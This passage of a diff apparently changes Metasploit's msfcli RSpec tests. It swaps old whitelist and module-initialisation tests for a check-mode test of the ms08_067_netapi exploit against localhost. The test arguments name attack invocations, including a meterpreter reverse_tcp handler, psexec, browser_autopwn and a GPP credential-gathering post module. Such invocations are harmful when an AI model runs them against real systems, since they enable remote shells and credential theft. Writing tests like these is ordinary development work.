/payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } + context 'with windows/smb/ms08_067_netapi' do + let(:args) { + super().tap { |args| + args.insert(-2, "RHOST=127.0.0.1") + } + } - list.should eq(answer) - end + let(:module_name) { + 'windows/smb/ms08_067_netapi' + } - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } + context 'with mode C' do + let(:mode) { + 'C' + } - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) + specify { + expect(get_stdout { engage_mode }).to match(/#{Msf::Exploit::CheckCode::Unknown[1]}/) + } end end - - context ".init_modules" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - it "should inititalize an exploit module" do - args = 'exploit/windows/smb/psexec S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize an auxiliary module" do - args = 'auxiliary/server/browser_autopwn S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize a post module" do - args = 'post/windows/gather/credentials/gpp S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end - - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:payload].class.to_s.should =~ /